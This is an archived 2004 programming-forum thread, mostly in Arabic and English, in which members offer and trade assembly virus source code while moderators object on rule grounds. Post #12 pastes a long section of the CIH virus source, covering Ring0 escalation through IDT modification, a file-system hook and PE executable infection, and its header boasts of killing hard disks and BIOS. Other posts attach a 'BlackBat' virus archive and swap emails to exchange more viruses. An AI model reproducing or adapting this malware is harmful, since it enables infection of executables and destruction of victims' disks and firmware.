الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

Assembly Viruses

مغلق
بدأه Rachid Abdallah في 27 مايو 2004 · 17 رد · 2,362 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

Hi

i have 55 virus codes written in assebly

if enough peaple agree on publishing them i will attach them

SO PLEASE PLACE YOU VOTES HERE

==================================

#2

pleaz give them to me

pleaz

the adminstrator will not disagree

#3

there are lots of hacker sites gives you these source codes only for leanning purpose

but what make you sure that no one will use them to hurt any one there is no way to be sure of that

also i think that matter will diagree with the forum agreement u agreed when u signed up for the first time right

Technical Lead Developer

My LinkedIn Profile

اللهم قنى شر الجهل و الجهلاء

( اقْتَرَبَ لِلنَّاسِ حِسَابُهُمْ وَهُمْ فِي غَفْلَةٍ مَّعْرِضُونَ ) {الأنبياء:1}

#4

اخواني اشكر لكم تفهمك ولكن في حال كان هناك كود للتحميل وارادت اي شركة التحاامل علينا فلن تتوانا لاقفال الموقع ويمكنك تبادلها بعيدا عن الموقع

شاكرا لكم تفهمك مره اخرى

جديد مدونتي الشخصية http://www.badwi.com

ادعو لنا بظاهر الغيب

MyBooksExchange.jpg

#5

i hope you understand me

i take this club's interst first

and if these viruses will be the cause of closing it i won't publish them

but if there other websites that i can publish these viruses at

please give me the website

thank you

==================================

#6

hi first why do u insist to write in english do u ahve problems writting arabic

whatever u can put the codes in any site gives u the ability to make free hosting the simplest is http://www.geocities.com

Technical Lead Developer

My LinkedIn Profile

اللهم قنى شر الجهل و الجهلاء

( اقْتَرَبَ لِلنَّاسِ حِسَابُهُمْ وَهُمْ فِي غَفْلَةٍ مَّعْرِضُونَ ) {الأنبياء:1}

#7

sorry for not writting in arabic but i'm very very slow

and thank you for the web

site and i'll try to publish the codes as soon as possible

and give you the website

==================================

#8

ok rachid i have some old viruses codes written in assembly if u like to seethem mail me and i shall give them to you

also please try to keep the rules here and write your reply or your new subject in arabic language

Technical Lead Developer

My LinkedIn Profile

اللهم قنى شر الجهل و الجهلاء

( اقْتَرَبَ لِلنَّاسِ حِسَابُهُمْ وَهُمْ فِي غَفْلَةٍ مَّعْرِضُونَ ) {الأنبياء:1}

#9

حسنا ساحاول

ان كان احد يريد الكودات

الرجاء وضع e-mail هنا

السيت سيحتاج الى وقت

==================================

#11

ممكن لو سمحت تبعته

ahmed_essam_naiem@yahoo.com

و ربنا يسهل و نقدر نطور حاجة منها

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#12

هديه صغيرة كود فيروس CIH

****************************************************************************

; *                     The Virus Program Information                        *

;

****************************************************************************

; *                                                                        

*

; *     Designer : CIH                  Original Place : TTIT of Taiwan      *

; *     Create Date : 04/26/1998        Now Version : 1.2                    *

; *     Modification Time : 05/21/1998                                    

*

; *                                                                          *

;

*==========================================================================*

; *                     Modification History                                 *

;

*==========================================================================*

; *     v1.0    1. Create the Virus Program.                                 *

; *             2. The Virus Modifies IDT to Get Ring0 Privilege.            *

; * 04/26/1998  3. Virus Code doesn't Reload into System.                  

*

; *             4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *

; *             5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook.  *

; *             6. When System Opens Existing PE File, the File will be      *

; *                Infected, and the File doesn't be Reinfected.          

*

; *             7. It is also Infected, even the File is Read-Only.          *

; *             8. When the File is Infected, the Modification Date and Time *

; *                of the File also don't be Changed.                        *

; *             9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call  *

; *                Previous FileSystemApiHook, it will Call the Function     *

; *                that the IFS Manager Would Normally Call to Implement     *

; *                this Particular I/O Request.                              *

; *            10. The Virus Size is only 656 Bytes.                         *

;

*==========================================================================*

; *     v1.1    1. Especially, the File that be Infected will not Increase   *

; *                it's Size...   ^__^                                       *

; * 05/15/1998  2. Hook and Modify Structured Exception Handing.             *

; *                When Exception Error Occurs, Our OS System should be in   *

; *                Windows NT. So My Cute Virus will not Continue to Run,    *

; *                it will Jmup to Original Application to Run.              *

; *             3. Use Better Algorithm, Reduce Virus Code Size.             *

; *             4. The Virus "Basic" Size is only 796 Bytes.                 *

;

*==========================================================================*

; *     v1.2    1. Kill All HardDisk, and BIOS... Super... Killer...         *

; *             2. Modify the Bug of v1.1                                    *

; * 05/21/1998  3. The Virus "Basic" Size is 1003 Bytes.                     *

;

****************************************************************************

               .586P

;

****************************************************************************

; *             Original PE Executable File(Don't Modify this Section)    

*

;

****************************************************************************

OriginalAppEXE  SEGMENT

FileHeader:

               db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h

               db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h

               db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h

               db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh

               db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h

               db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h

               db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh

               db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh

               db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h

               db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah

               db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h

               db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h

               db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

               db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h

               db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

               db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h

               db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h

               db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

               db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h

               db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h

               db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h

               db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

               dd      00000000h, VirusSize

OriginalAppEXE  ENDS

;

****************************************************************************

; *                     My Virus Game                                      

*

;

****************************************************************************

; *********************************************************

; *                    Constant Define                    *

; *********************************************************

TRUE                    =       1

FALSE                   =       0

DEBUG                   =       TRUE

MajorVirusVersion       =       1

MinorVirusVersion       =       2

VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion

IF      DEBUG

       FirstKillHardDiskNumber =       81h

       HookExceptionNumber     =       05h

ELSE

       FirstKillHardDiskNumber =       80h

       HookExceptionNumber     =       03h

ENDIF

FileNameBufferSize      =       7fh

; *********************************************************

VirusGame               SEGMENT

                       ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame

                       ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************

; *             Ring3 Virus Game Initial Program          *

; *********************************************************

MyVirusStart:

                       push    ebp

; *************************************

; * Let's Modify Structured Exception *

; * Handing, Prevent Exception Error  *

; * Occurrence, Especially in NT.     *

; *************************************

                       lea     eax, [esp-04h*2]

                       xor     ebx, ebx

                       xchg    eax, fs:[ebx]

                       call    @0

@0:

                       pop     ebx

                       lea     ecx, StopToRunVirusCode-@0[ebx]

                       push    ecx

                       push    eax

; *************************************

; * Let's Modify                      *

; * IDT(Interrupt Descriptor Table)   *

; * to Get Ring0 Privilege...         *

; *************************************

                       push    eax            ;

                       sidt    [esp-02h]      ; Get IDT Base Address

                       pop     ebx            ;

                       add     ebx, HookExceptionNumber*08h+04h; ZF = 0

                       cli

                       mov     ebp, [ebx]     ; Get Exception Base

                       mov     bp, [ebx-04h]  ; Entry Point

                       lea     esi, MyExceptionHook-@1[ecx]

                       push    esi

                       mov     [ebx-04h], si          ;

                       shr     esi, 16                ; Modify Exception

                       mov     [ebx+02h], si          ; Entry Point Address

                       pop     esi

; *************************************

; * Generate Exception to Get Ring0   *

; *************************************

                       int     HookExceptionNumber    ; GenerateException

ReturnAddressOfEndException     =       $

; *************************************

; * Merge All Virus Code Section      *

; *************************************

                       push    esi

                       mov     esi, eax

LoopOfMergeAllVirusCodeSection:

                       mov     ecx, [eax-04h]

                       rep     movsb

                       sub     eax, 08h

                       mov     esi, [eax]

                       or      esi, esi

                       jz      QuitLoopOfMergeAllVirusCodeSection; ZF = 1

                       jmp     LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

                       pop     esi

; *************************************

; * Generate Exception Again          *

; *************************************

                       int     HookExceptionNumber    ; GenerateException Again

; *************************************

; * Let's Restore                     *

; * Structured Exception Handing      *

; *************************************

ReadyRestoreSE:

                       sti

                       xor     ebx, ebx

                       jmp     RestoreSE

; *************************************

; * When Exception Error Occurs,      *

; * Our OS System should be in NT.    *

; * So My Cute Virus will not         *

; * Continue to Run, it Jmups to      *

; * Original Application to Run.      *

; *************************************

StopToRunVirusCode:

@1                      =       StopToRunVirusCode

                       xor     ebx, ebx

                       mov     eax, fs:[ebx]

                       mov     esp, [eax]

RestoreSE:

                       pop     dword ptr fs:[ebx]

                       pop     eax

; *************************************

; * Return Original App to Execute    *

; *************************************

                       pop     ebp

                       push    00401000h      ; Push Original

OriginalAddressOfEntryPoint     =       $-4    ; App Entry Point to Stack

                       ret    ; Return to Original App Entry Point

; *********************************************************

; *             Ring0 Virus Game Initial Program          *

; *********************************************************

MyExceptionHook:

@2                      =       MyExceptionHook

                       jz      InstallMyFileSystemApiHook

; *************************************

; * Do My Virus Exist in System !?    *

; *************************************

                       mov     ecx, dr0

                       jecxz   AllocateSystemMemoryPage

                       add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

; *************************************

; * Return to Ring3 Initial Program   *

; *************************************

ExitRing0Init:

                       mov     [ebx-04h], bp  ;

                       shr     ebp, 16        ; Restore Exception

                       mov     [ebx+02h], bp  ;

                       iretd

; *************************************

; * Allocate SystemMemory Page to Use *

; *************************************

AllocateSystemMemoryPage:

                       mov     dr0, ebx       ; Set the Mark of My Virus Exist in System

                       push    00000000fh     ;

                       push    ecx            ;

                       push    0ffffffffh     ;

                       push    ecx            ;

                       push    ecx            ;

                       push    ecx            ;

                       push    000000001h     ;

                       push    000000002h     ;

                       int     20h            ; VMMCALL _PageAllocate

_PageAllocate           =       $              ;

                       dd      00010053h      ; Use EAX, ECX, EDX, and flags

                       add     esp, 08h*04h

                       xchg    edi, eax       ; EDI = SystemMemory Start Address

                       lea     eax, MyVirusStart-@2[esi]

                       iretd  ; Return to Ring3 Initial Program

; *************************************

; * Install My File System Api Hook   *

; *************************************

InstallMyFileSystemApiHook:

                       lea     eax, FileSystemApiHook-@6[edi]

                       push    eax ;

                       int     20h ; VXDCALL IFSMgr_InstallFileSystemApiHook

IFSMgr_InstallFileSystemApiHook =       $      ;

                       dd      00400067h      ; Use EAX, ECX, EDX, and flags

                       mov     dr0, eax       ; Save OldFileSystemApiHook Address

                       pop     eax    ; EAX = FileSystemApiHook Address

       

                      ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point

                       mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]

                       mov     edx, [ecx]

                       mov     OldInstallFileSystemApiHook-@3[eax], edx

                      ; Modify IFSMgr_InstallFileSystemApiHook Entry Point

                       lea     eax, InstallFileSystemApiHook-@3[eax]

                       mov     [ecx], eax

                       cli

                       jmp     ExitRing0Init

; *********************************************************

; *             Code Size of Merge Virus Code Section     *

; *********************************************************

CodeSizeOfMergeVirusCodeSection         =       offset $

; *********************************************************

; *             IFSMgr_InstallFileSystemApiHook           *

; *********************************************************

InstallFileSystemApiHook:

                       push    ebx

                       call    @4     ;

@4:                                    ;

                       pop     ebx    ; mov ebx, offset FileSystemApiHook

                       add     ebx, FileSystemApiHook-@4      ;

                       push    ebx

                       int     20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook

IFSMgr_RemoveFileSystemApiHook  =       $

                       dd      00400068h      ; Use EAX, ECX, EDX, and flags

                       pop     eax

                      ; Call Original IFSMgr_InstallFileSystemApiHook

                      ; to Link Client FileSystemApiHook

                       push    dword ptr [esp+8]

                       call    OldInstallFileSystemApiHook-@3[ebx]

                       pop     ecx

                       push    eax

                      ; Call Original IFSMgr_InstallFileSystemApiHook

                      ; to Link My FileSystemApiHook

                       push    ebx

                       call    OldInstallFileSystemApiHook-@3[ebx]

                       pop     ecx

                       mov     dr0, eax       ; Adjust OldFileSystemApiHook Address

                       pop     eax

                       pop     ebx

                       ret

; *********************************************************

; *                     Static Data                       *

; *********************************************************

OldInstallFileSystemApiHook     dd      ?

; *********************************************************

; *             IFSMgr_FileSystemHook                     *

; *********************************************************

; *************************************

; * IFSMgr_FileSystemHook Entry Point *

; *************************************

FileSystemApiHook:

@3                      =       FileSystemApiHook

                       pushad

                       call    @5     ;

@5:                                    ;

                       pop     esi    ; mov esi, offset

VirusGameDataStartAddress

                       add     esi, VirusGameDataStartAddress-@5

; *************************************

; * Is OnBusy !?                      *

; *************************************

                       test    byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )

                       jnz     pIFSFunc                       ; goto pIFSFunc

; *************************************

; * Is OpenFile !?                    *

; *************************************

                      ; if ( NotOpenFile )

                      ; goto prevhook

                       lea     ebx, [esp+20h+04h+04h]

                       cmp     dword ptr [ebx], 00000024h

                       jne     prevhook

; *************************************

; * Enable OnBusy                     *

; *************************************

                       inc     byte ptr (OnBusy-@6)[esi]      ; Enable OnBusy

; *************************************

; * Get FilePath's DriveNumber,       *

; * then Set the DriveName to         *

; * FileNameBuffer.                   *

; *************************************

; * Ex. If DriveNumber is 03h,        *

; *     DriveName is 'C:'.            *

; *************************************

                      ; mov esi, offset FileNameBuffer

                       add     esi, FileNameBuffer-@6

                       push    esi

                       mov     al, [ebx+04h]

                       cmp     al, 0ffh

                       je      CallUniToBCSPath

                       add     al, 40h

                       mov     ah, ':'

                       mov     [esi], eax

                       inc     esi

                       inc     esi

; *************************************

; * UniToBCSPath                      *

; *************************************

; * This Service Converts             *

; * a Canonicalized Unicode Pathname  *

; * to a Normal Pathname in the       *

; * Specified BCS Character Set.      *

; *************************************

CallUniToBCSPath:

                       push    00000000h

                       push    FileNameBufferSize

                       mov     ebx, [ebx+10h]

                       mov     eax, [ebx+0ch]

                       add     eax, 04h

                       push    eax

                       push    esi

                       int     20h    ; VXDCall UniToBCSPath

UniToBCSPath            =       $

                       dd      00400041h

                       add     esp, 04h*04h

; *************************************

; * Is FileName '.EXE' !?             *

; *************************************

                      ; cmp [esi+eax-04h], '.EXE'

                       cmp     [esi+eax-04h], 'EXE.'

                       pop     esi

                       jne     DisableOnBusy

IF      DEBUG

; *************************************

; * Only for Debug                    *

; *************************************

                      ; cmp [esi+eax-06h], '***'

                       cmp     [esi+eax-06h], 'KCUF'

                       jne     DisableOnBusy

ENDIF

; *************************************

; * Is Open Existing File !?          *

; *************************************

                      ; if ( NotOpenExistingFile )

                      ; goto DisableOnBusy

                       cmp     word ptr [ebx+18h], 01h

                       jne     DisableOnBusy

; *************************************

; * Get Attributes of the File        *

; *************************************

                       mov     ax, 4300h

                       int     20h    ; VXDCall IFSMgr_Ring0_FileIO

IFSMgr_Ring0_FileIO     =       $

                       dd      00400032h

                       jc      DisableOnBusy

                       push    ecx

; *************************************

; * Get IFSMgr_Ring0_FileIO Address   *

; *************************************

                       mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]

                       mov     edi, [edi]

; *************************************

; * Is Read-Only File !?              *

; *************************************

                       test    cl, 01h

                       jz      OpenFile

; *************************************

; * Modify Read-Only File to Write    *

; *************************************

                       mov     ax, 4301h

                       xor     ecx, ecx

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

; *************************************

; * Open File                         *

; *************************************

OpenFile:

                       xor     eax, eax

                       mov     ah, 0d5h

                       xor     ecx, ecx

                       xor     edx, edx

                       inc     edx

                       mov     ebx, edx

                       inc     ebx

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

                       xchg    ebx, eax       ; mov ebx, FileHandle

; *************************************

; * Need to Restore                   *

; * Attributes of the File !?         *

; *************************************

                       pop     ecx

                       pushf

                       test    cl, 01h

                       jz      IsOpenFileOK

; *************************************

; * Restore Attributes of the File    *

; *************************************

                       mov     ax, 4301h

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

; *************************************

; * Is Open File OK !?                *

; *************************************

IsOpenFileOK:

                       popf

                       jc      DisableOnBusy

; *************************************

; * Open File Already Succeed.   ^__^ *

; *************************************

                       push    esi    ; Push FileNameBuffer Address to Stack

                       pushf          ; Now CF = 0, Push Flag to Stack

                       add     esi, DataBuffer-@7; mov esi, offset DataBuffer

; ***************************

; * Get OffsetToNewHeader   *

; ***************************

                       xor     eax, eax

                       mov     ah, 0d6h

                      ; For Doing Minimal VirusCode's Length,

                      ; I Save EAX to EBP.

                       mov     ebp, eax

                       xor     ecx, ecx

                       mov     cl, 04h

                       xor     edx, edx

                       mov     dl, 3ch

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

                       mov     edx, [esi]

; ***************************

; * Get 'PE\0' Signature    *

; * of ImageFileHeader, and *

; * Infected Mark.          *

; ***************************

                       dec     edx

                       mov     eax, ebp

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

; ***************************

; * Is PE !?                *

; ***************************

; * Is the File             *

; * Already Infected !?     *

; ***************************

                      ; cmp [esi], '\0PE\0'

                       cmp     dword ptr [esi], 00455000h

                       jne     CloseFile

; *************************************

; * The File is                   ^o^ *

; * PE(Portable Executable) indeed.   *

; *************************************

; * The File isn't also Infected.     *

; *************************************

; *************************************

; * Start to Infect the File          *

; *************************************

; * Registers Use Status Now :        *

; *                                   *

; * EAX = 04h                         *

; * EBX = File Handle                 *

; * ECX = 04h                         *

; * EDX = 'PE\0\0' Signature of       *

; *       ImageFileHeader Pointer's   *

; *       Former Byte.                *

; * ESI = DataBuffer Address ==> @8   *

; * EDI = IFSMgr_Ring0_FileIO Address *

; * EBP = D600h ==> Read Data in File *

; *************************************

; * Stack Dump :                      *

; *                                   *

; * ESP => -------------------------  *

; *        |       EFLAG(CF=0)     |  *

; *        -------------------------  *

; *        | FileNameBufferPointer |  *

; *        -------------------------  *

; *        |          EDI          |  *

; *        -------------------------  *

; *        |          ESI          |  *

; *        -------------------------  *

; *        |          EBP          |  *

; *        -------------------------  *

; *        |          ESP          |  *

; *        -------------------------  *

; *        |          EBX          |  *

; *        -------------------------  *

; *        |          EDX          |  *

; *        -------------------------  *

; *        |          ECX          |  *

; *        -------------------------  *

; *        |          EAX          |  *

; *        -------------------------  *

; *        |     Return Address    |  *

; *        -------------------------  *

; *************************************

                       push    ebx    ; Save File Handle

                       push    00h    ; Set VirusCodeSectionTableEndMark

; ***************************

; * Let's Set the           *

; * Virus' Infected Mark    *

; ***************************

                       push    01h    ; Size

                       push    edx    ; Pointer of File

                       push    edi    ; Address of Buffer

; ***************************

; * Save ESP Register       *

; ***************************

                       mov     dr1, esp

; ***************************

; * Let's Set the           *

; * NewAddressOfEntryPoint  *

; * ( Only First Set Size ) *

; ***************************

                       push    eax    ; Size

; ***************************

; * Let's Read              *

; * Image Header in File    *

; ***************************

                       mov     eax, ebp

                       mov     cl, SizeOfImageHeaderToRead

                       add     edx, 07h; Move EDX to NumberOfSections

                       call    edi     ; VXDCall IFSMgr_Ring0_FileIO

; ***************************

; * Let's Set the           *

; * NewAddressOfEntryPoint  *

; * ( Set Pointer of File,  *

; *   Address of Buffer   ) *

; ***************************

                       lea     eax, (AddressOfEntryPoint-@8)[edx]

                       push    eax    ; Pointer of File

                       lea     eax, (NewAddressOfEntryPoint-@8)[esi]

                       push    eax    ; Address of Buffer

; ***************************

; * Move EDX to the Start   *

; * of SectionTable in File *

; ***************************

                       movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]

                       lea     edx, [eax+edx+12h]

; ***************************

; * Let's Get               *

; * Total Size of Sections  *

; ***************************

                       mov     al, SizeOfScetionTable

                      ; I Assume NumberOfSections <= 0ffh

                       mov     cl, (NumberOfSections-@8)[esi]

                       mul     cl

; ***************************

; * Let's Set Section Table *

; ***************************

                      ; Move ESI to the Start of SectionTable

                       lea     esi, (StartOfSectionTable-@8)[esi]

                       push    eax    ; Size

                       push    edx    ; Pointer of File

                       push    esi    ; Address of Buffer

; ***************************

; * The Code Size of Merge  *

; * Virus Code Section and  *

; * Total Size of Virus     *

; * Code Section Table Must *

; * be Small or Equal the   *

; * Unused Space Size of    *

; * Following Section Table *

; ***************************

                       inc     ecx

                       push    ecx    ; Save NumberOfSections+1

                       shl     ecx, 03h

                       push    ecx    ; Save TotalSizeOfVirusCodeSectionTable

                       add     ecx, eax

                       add     ecx, edx

                       sub     ecx, (SizeOfHeaders-@9)[esi]

                       jnc     short OnlySetInfectedMark

                       not     ecx

                       inc     ecx

                       cmp     cx, small CodeSizeOfMergeVirusCodeSection

                       jb      OnlySetInfectedMark

; ***************************

; * Save Original           *

; * Address of Entry Point  *

; ***************************

                      ; Save My Virus First Section Code

                      ; Size of Following Section Table...

                      ; ( Not Include the Size of Virus Code Section Table )

                       push    ecx

                       xchg    ecx, eax       ; ECX = Size of Section Table

                       mov     eax, (AddressOfEntryPoint-@9)[esi]

                       add     eax, (ImageBase-@9)[esi]

                       mov     (OriginalAddressOfEntryPoint-@9)[esi], eax

; ***************************

; * Read All Section Tables *

; ***************************

                       mov     eax, ebp

                       call    edi    ; VXDCall IFSMgr_Ring0_FileIO

; ***************************

; * Let's Set Total Virus  

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#13

هذا فيروس مصمم بالـMASM 32

أسمه Black Bat

blackbat.rar

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#14

هذا فيروس BlackBat وهو MASM 32

blackbat.rar

Nothing to mention except that I am Muslim

Using your brain is not bad as you think

My Blog

logo.jpg

#15

شكرا أخ Rachid Abdallah

أظن تقاليد المنتدى قد تمنع تبادل مثل هذه الملفات

هم يريدون له صورة وردية أو أن هناك جهات ما يعملون حسابها ؟؟؟؟؟؟؟؟؟؟؟

عموما النظام أفضل من الفوضى

بريدي

lostman77ue@yahoo.com

#16

السلام عليكم,

كل ما في الأمر أن كل واحد مقيد بشروط . فحين تقتني موقع فإن صاحب الموقع تكون له مبادئ وشروط وإذا لم تحترم هذه المبادئ قد تكون له الصلاحية لإغلاق الموقع وهذا ما لا نريده لموقعنا.

إلى اللقاء.

#17

ok thank all the memerbers for sharing there virus codes but i said the first time i started this page that the viruses we put must not damage this forum's reputation

so please stop adding viruses

here is my E_mail

malicios_link999@hotmail.com

send the virusses to me

and add your E_mails for i to send you the virusses i got!

==================================

#18

السلام عليكم,

لدي فكرة حتى نتخلص من فكرة هذه الفايروسات التي قد تتسبب في مشاكل لمنتدانا. فبما أن الأكواد الخاصة بهذا يمكن أن نعثر عليها جاهزة في مواقع أخرى متعددة فلا داعي إذن لوضعها هنا مرة أخرى. فإذا كان من مهتم أن يضع لنا هنا فقط النقطة التي يتعامل معها الكود ولم لا طريقة التخلص من هذا الفيروس. وكمثال على الكود السابق وبما أن الفكرة الجديدة فيه كانت استعمال بعض التقنيات مثل SEH أو تغيير IDT أو ما يعرف ب Interrupt Descriptor Table لتجعلنا نقفز إلى الحلقة 0 فكان من الأدهى أن نتكلم عن هذه المواضيع والتي لا تصلح إلا للفايروسات وإنما يمكن استعمالها كيفما نشاء. وأضن أن فهم الأمور هي أحسن من العثور على برامج جاهزة.

إلى اللقاء.

هذا الموضوع مغلق.

مواضيع مشابهة